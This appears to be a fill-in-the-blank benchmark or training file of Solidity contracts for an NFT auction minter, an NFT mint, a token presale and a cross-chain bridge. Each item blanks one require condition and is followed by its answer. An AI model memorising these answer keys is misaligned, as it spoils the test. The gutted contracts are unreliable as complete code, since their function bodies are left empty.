* @param _auctionTimestampStart Timestamp at which to start the auction.
* @param _priceDecayHalfLifeSeconds The half life with which to decay the
* price (in seconds).
* @param _startPrice Price at which to start the auction, in Wei.
* @param _basePrice Resting price of the auction, in Wei.
* @dev Note that it is intentionally supported here that the configured
* price may be explicitly set to `0`.
*/
function setAuctionDetails(
uint256 _projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
) external onlyValidProjectId(_projectId) onlyArtist(_projectId) {
}
/**
* @notice Resets auction details for project `_projectId`, zero-ing out all
* relevant auction fields. Not intended to be used in normal auction
* operation, but rather only in case of the need to halt an auction.
* @param _projectId Project ID to set auction details for.
*/
function resetAuctionDetails(
uint256 _projectId
) external onlyCoreAllowlisted onlyValidProjectId(_projectId) {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchase(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchase(uint256).
*/
function purchase_H4M(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchaseTo(
address _to,
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchaseTo(address, uint256).
*/
function purchaseTo_do6(
address _to,
uint256 _projectId
) public payable nonReentrant returns (uint256 tokenId) {
// CHECKS
ProjectConfig storage _projectConfig = projectConfig[_projectId];
// Note that `maxHasBeenInvoked` is only checked here to reduce gas
// consumption after a project has been fully minted.
// `_projectConfig.maxHasBeenInvoked` is locally cached to reduce
// gas consumption, but if not in sync with the core contract's value,
// the core contract also enforces its own max invocation check during
// minting.
require(<FILL_ME>)
// _getPrice reverts if auction is unconfigured or has not started
uint256 currentPriceInWei = _getPrice(_projectId);
require(
msg.value >= currentPriceInWei,
"Must send minimum value to mint!"
);
// EFFECTS
tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// okay if this underflows because if statement will always eval false.
// this is only for gas optimization (core enforces maxInvocations).
unchecked {
if (tokenId % ONE_MILLION == _projectConfig.maxInvocations - 1) {
_projectConfig.maxHasBeenInvoked = true;
}
}
// INTERACTIONS
_splitFundsETHAuction(_projectId, currentPriceInWei);
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev possible DoS during splits is acknowledged, and mitigated by
* business practices, including end-to-end testing on mainnet, and
* admin-accepted artist payment addresses.
* @param _projectId Project ID for which funds shall be split.
* @param _currentPriceInWei Current price of token, in Wei.
*/
function _splitFundsETHAuction(
uint256 _projectId,
uint256 _currentPriceInWei
) internal {
}
/**
* @notice Gets price of minting a token on project `_projectId` given
* the project's AuctionParameters and current block timestamp.
* Reverts if auction has not yet started or auction is unconfigured.
* @param _projectId Project ID to get price of token for.
* @return current price of token in Wei
* @dev This method calculates price decay using a linear interpolation
* of exponential decay based on the artist-provided half-life for price
* decay, `_priceDecayHalfLifeSeconds`.
*/
function _getPrice(uint256 _projectId) private view returns (uint256) {
}
/**
* @notice Gets if price of token is configured, price of minting a
* token on project `_projectId`, and currency symbol and address to be
* used as payment. Supersedes any core contract price information.
* @param _projectId Project ID to get price information for.
* @return isConfigured true only if project's auction parameters have been
* configured on this minter
* @return tokenPriceInWei current price of token on this minter - invalid
* if auction has not yet been configured
* @return currencySymbol currency symbol for purchases of project on this
* minter. This minter always returns "ETH"
* @return currencyAddress currency address for purchases of project on
* this minter. This minter always returns null address, reserved for ether
*/
function getPriceInfo(
uint256 _projectId
)
external
view
returns (
bool isConfigured,
uint256 tokenPriceInWei,
string memory currencySymbol,
address currencyAddress
)
{
}
}
| !_projectConfig.maxHasBeenInvoked,"Maximum number of invocations reached" | 172,193 | !_projectConfig.maxHasBeenInvoked |
"Minting more NFT!" | pragma solidity ^0.8.19;
contract KevinWahyu is ERC721, Ownable {
using Strings for uint256;
uint256 private currentSupply;
uint256 public maxSupply = 5;
string public url =
"ipfs://QmNULk6hoppffpBuNPFCVj8zarpKNobNGfPcSaWQ9X4DJB/";
constructor(
) ERC721("Kevin&Wahyu","NFT: Kevin & Wahyu") {}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function updateURI(string memory newUrl) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function mintAndDistribute(address[] memory receivers) external onlyOwner {
uint256 supply = totalSupply();
require(<FILL_ME>)
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], supply + i);
}
currentSupply = supply + receivers.length;
}
}
| supply+receivers.length<=maxSupply,"Minting more NFT!" | 172,208 | supply+receivers.length<=maxSupply |
"Not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IUniFiReferral.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract UniFiPresale is Ownable, Pausable, ReentrancyGuard {
address public tokenAddress = 0xb131f4A55907B10d1F0A50d8ab8FA09EC342cd74;
address public referralAddress;
address public UniFiAddress;
uint256 public whitelistStartTime = 1705561200;
uint256 public publicSaleStartTime = 1705647600;
uint256 public presaleEndTime = 1705820400;
uint256 public minEthAmount = 0.001 ether;
uint256 public maxEthAmount = 1 ether;
uint256 public totalTokensForSale = 200000 * 10**5; // 197,280 tokens by default
uint256 public individualHoldings = 69 * 10**18;
uint256 public claimStartTime = 1705993200;
uint256 public tokenPrice = 0.001 ether;
uint256 public whitelistDiscount = 0.0001 ether;
mapping(address => uint256) public allocations;
mapping(address => uint256) public commits;
event Allocation(address indexed buyer, uint256 amountEth, uint256 tokens);
event Claimed(address indexed buyer, uint256 tokens);
// View whitelist status
function isWhitelisted(address _user) public view returns (bool) {
}
// Set token address
function setTokenAddress(address _newToken) external onlyOwner {
}
// Set UniFi address
function setUniFi(address _newUniFi) external onlyOwner {
}
// Set referral address
function setReferral(address _newReferral) external onlyOwner {
}
// Set the individual token holdings required for whitelisting
function setIndividualHoldings(uint256 _newHoldings) external onlyOwner {
}
// Set the minimum and maximum ETH amounts for each purchase
function setCaps(uint256 _minEthAmount, uint256 _maxEthAmount)
external
onlyOwner
{
}
// Set the total number of tokens available for sale
function setTotalTokensForSale(uint256 _newTotal) external onlyOwner {
}
// Set the timestamp when claiming becomes available
function setClaimStartTime(uint256 _newClaimStartTime) external onlyOwner {
}
// Set whitelist start time
function setWhitelistStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set public sale start time
function setPublicSaleStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set presale end time
function setPresaleEndTime(uint256 _newEndTime) external onlyOwner {
}
// Set the token price in ETH
function setTokenPrice(uint256 _newTokenPrice) external onlyOwner {
}
// Set the whitelist discount in ETH
function setDiscount(uint256 _newDiscount) external onlyOwner {
}
// Function to handle the presale purchase
function buyPresale() external payable whenNotPaused nonReentrant {
// Check if the presale is active
require(
block.timestamp >= whitelistStartTime &&
block.timestamp < presaleEndTime,
"Presale is not active"
);
uint256 buyingPrice = tokenPrice;
// If within the whitelisting period, check the buyer's balance
if (
block.timestamp >= whitelistStartTime &&
block.timestamp < publicSaleStartTime
) {
require(<FILL_ME>)
buyingPrice = tokenPrice - whitelistDiscount;
}
// Check if the sent ETH amount is within the allowed range
require(
msg.value >= minEthAmount && msg.value <= maxEthAmount,
"Invalid ETH amount"
);
// Calculate the token amount based on the ETH sent
uint256 allocationAmount = msg.value;
uint256 tokensToBuy = calculateTokens(allocationAmount, buyingPrice);
// Ensure the user doesn't buy more tokens than available
if (tokensToBuy >= totalTokensForSale) {
tokensToBuy = totalTokensForSale;
}
// Update user's allocation and reduce total tokens for sale
allocations[msg.sender] += tokensToBuy;
commits[msg.sender] += allocationAmount;
totalTokensForSale -= tokensToBuy;
// Emit Allocation event
emit Allocation(msg.sender, allocationAmount, tokensToBuy);
}
// Function to calculate token amount based on ETH sent
function calculateTokens(uint256 _ethAmount, uint256 _buyingPrice) public pure returns (uint256) {
}
// Function to claim purchased tokens
function claimPresale(bytes5 _refCode) external whenNotPaused nonReentrant {
}
// Fallback function to receive ETH
receive() external payable {}
// Function to withdraw remaining tokens after the presale ends
function withdrawRemainingTokens() external onlyOwner {
}
// Function to withdraw remaining ETH after the presale ends
function withdrawRemainingETH() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function refund() external whenPaused nonReentrant {
}
}
| IERC20(tokenAddress).balanceOf(msg.sender)>=individualHoldings,"Not whitelisted" | 172,335 | IERC20(tokenAddress).balanceOf(msg.sender)>=individualHoldings |
"No allocation" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IUniFiReferral.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract UniFiPresale is Ownable, Pausable, ReentrancyGuard {
address public tokenAddress = 0xb131f4A55907B10d1F0A50d8ab8FA09EC342cd74;
address public referralAddress;
address public UniFiAddress;
uint256 public whitelistStartTime = 1705561200;
uint256 public publicSaleStartTime = 1705647600;
uint256 public presaleEndTime = 1705820400;
uint256 public minEthAmount = 0.001 ether;
uint256 public maxEthAmount = 1 ether;
uint256 public totalTokensForSale = 200000 * 10**5; // 197,280 tokens by default
uint256 public individualHoldings = 69 * 10**18;
uint256 public claimStartTime = 1705993200;
uint256 public tokenPrice = 0.001 ether;
uint256 public whitelistDiscount = 0.0001 ether;
mapping(address => uint256) public allocations;
mapping(address => uint256) public commits;
event Allocation(address indexed buyer, uint256 amountEth, uint256 tokens);
event Claimed(address indexed buyer, uint256 tokens);
// View whitelist status
function isWhitelisted(address _user) public view returns (bool) {
}
// Set token address
function setTokenAddress(address _newToken) external onlyOwner {
}
// Set UniFi address
function setUniFi(address _newUniFi) external onlyOwner {
}
// Set referral address
function setReferral(address _newReferral) external onlyOwner {
}
// Set the individual token holdings required for whitelisting
function setIndividualHoldings(uint256 _newHoldings) external onlyOwner {
}
// Set the minimum and maximum ETH amounts for each purchase
function setCaps(uint256 _minEthAmount, uint256 _maxEthAmount)
external
onlyOwner
{
}
// Set the total number of tokens available for sale
function setTotalTokensForSale(uint256 _newTotal) external onlyOwner {
}
// Set the timestamp when claiming becomes available
function setClaimStartTime(uint256 _newClaimStartTime) external onlyOwner {
}
// Set whitelist start time
function setWhitelistStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set public sale start time
function setPublicSaleStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set presale end time
function setPresaleEndTime(uint256 _newEndTime) external onlyOwner {
}
// Set the token price in ETH
function setTokenPrice(uint256 _newTokenPrice) external onlyOwner {
}
// Set the whitelist discount in ETH
function setDiscount(uint256 _newDiscount) external onlyOwner {
}
// Function to handle the presale purchase
function buyPresale() external payable whenNotPaused nonReentrant {
}
// Function to calculate token amount based on ETH sent
function calculateTokens(uint256 _ethAmount, uint256 _buyingPrice) public pure returns (uint256) {
}
// Function to claim purchased tokens
function claimPresale(bytes5 _refCode) external whenNotPaused nonReentrant {
// Check if claiming is allowed
require(
block.timestamp >= claimStartTime,
"Claiming is not allowed yet"
);
// Check if the user has an allocation
require(<FILL_ME>)
// Transfer tokens from contract to the buyer
IERC20(UniFiAddress).transfer(
msg.sender,
allocations[msg.sender]
);
// Create referral
IUniFiReferral(referralAddress).presaleRef(_refCode, msg.sender);
// Update claimed amount
emit Claimed(msg.sender, allocations[msg.sender]);
allocations[msg.sender] = 0;
commits[msg.sender] = 0;
}
// Fallback function to receive ETH
receive() external payable {}
// Function to withdraw remaining tokens after the presale ends
function withdrawRemainingTokens() external onlyOwner {
}
// Function to withdraw remaining ETH after the presale ends
function withdrawRemainingETH() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function refund() external whenPaused nonReentrant {
}
}
| allocations[msg.sender]>0,"No allocation" | 172,335 | allocations[msg.sender]>0 |
"No allocations" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IUniFiReferral.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract UniFiPresale is Ownable, Pausable, ReentrancyGuard {
address public tokenAddress = 0xb131f4A55907B10d1F0A50d8ab8FA09EC342cd74;
address public referralAddress;
address public UniFiAddress;
uint256 public whitelistStartTime = 1705561200;
uint256 public publicSaleStartTime = 1705647600;
uint256 public presaleEndTime = 1705820400;
uint256 public minEthAmount = 0.001 ether;
uint256 public maxEthAmount = 1 ether;
uint256 public totalTokensForSale = 200000 * 10**5; // 197,280 tokens by default
uint256 public individualHoldings = 69 * 10**18;
uint256 public claimStartTime = 1705993200;
uint256 public tokenPrice = 0.001 ether;
uint256 public whitelistDiscount = 0.0001 ether;
mapping(address => uint256) public allocations;
mapping(address => uint256) public commits;
event Allocation(address indexed buyer, uint256 amountEth, uint256 tokens);
event Claimed(address indexed buyer, uint256 tokens);
// View whitelist status
function isWhitelisted(address _user) public view returns (bool) {
}
// Set token address
function setTokenAddress(address _newToken) external onlyOwner {
}
// Set UniFi address
function setUniFi(address _newUniFi) external onlyOwner {
}
// Set referral address
function setReferral(address _newReferral) external onlyOwner {
}
// Set the individual token holdings required for whitelisting
function setIndividualHoldings(uint256 _newHoldings) external onlyOwner {
}
// Set the minimum and maximum ETH amounts for each purchase
function setCaps(uint256 _minEthAmount, uint256 _maxEthAmount)
external
onlyOwner
{
}
// Set the total number of tokens available for sale
function setTotalTokensForSale(uint256 _newTotal) external onlyOwner {
}
// Set the timestamp when claiming becomes available
function setClaimStartTime(uint256 _newClaimStartTime) external onlyOwner {
}
// Set whitelist start time
function setWhitelistStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set public sale start time
function setPublicSaleStartTime(uint256 _newStartTime) external onlyOwner {
}
// Set presale end time
function setPresaleEndTime(uint256 _newEndTime) external onlyOwner {
}
// Set the token price in ETH
function setTokenPrice(uint256 _newTokenPrice) external onlyOwner {
}
// Set the whitelist discount in ETH
function setDiscount(uint256 _newDiscount) external onlyOwner {
}
// Function to handle the presale purchase
function buyPresale() external payable whenNotPaused nonReentrant {
}
// Function to calculate token amount based on ETH sent
function calculateTokens(uint256 _ethAmount, uint256 _buyingPrice) public pure returns (uint256) {
}
// Function to claim purchased tokens
function claimPresale(bytes5 _refCode) external whenNotPaused nonReentrant {
}
// Fallback function to receive ETH
receive() external payable {}
// Function to withdraw remaining tokens after the presale ends
function withdrawRemainingTokens() external onlyOwner {
}
// Function to withdraw remaining ETH after the presale ends
function withdrawRemainingETH() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function refund() external whenPaused nonReentrant {
require(<FILL_ME>)
uint256 refundAmount = commits[msg.sender];
commits[msg.sender] = 0;
allocations[msg.sender] = 0;
payable(msg.sender).transfer(refundAmount);
}
}
| commits[msg.sender]>0,"No allocations" | 172,335 | commits[msg.sender]>0 |
"Not an authorized address" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
require(<FILL_ME>)
_;
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| _msgSender()==owner()||authorizationStatus[_msgSender()]==true,"Not an authorized address" | 172,363 | _msgSender()==owner()||authorizationStatus[_msgSender()]==true |
"Cannot be same networks" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
// Check if Source and Network is not same
require(<FILL_ME>)
// Check if UUID is not already processed
require(txInitStatus[_uuid] == false, "Request with this uuid is already processed");
// Check if Amount is more than zero
require(_sourceAmount > 0 , "Amount cannot be zero");
// Desitnation Network validation
require(authorizedDestinationNetwork[_destinationNetwork] == true, "Not allowed as destination network");
// Check if the sourceAmount is allowed to be transferred to contract address
require(IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this)) >= _sourceAmount, "Requested Amount is less than what is approved by sender");
// Transfer Desired Amount with IERC20 to contracts address
require(IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount), "Requested Amount not transferred");
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _msgSender(),
_sourceNetwork: network,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: _destinationNetwork,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
txInitStatus[_uuid] = true;
emit DepositInitiated(
_uuid,
_msgSender(),
_sourceTokenAddress,
network,
_sourceAmount,
_destination,
_destinationAmount,
_destinationTokenAddress,
_destinationNetwork
);
return true;
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| compareStrings(network,_destinationNetwork)==false,"Cannot be same networks" | 172,363 | compareStrings(network,_destinationNetwork)==false |
"Request with this uuid is already processed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
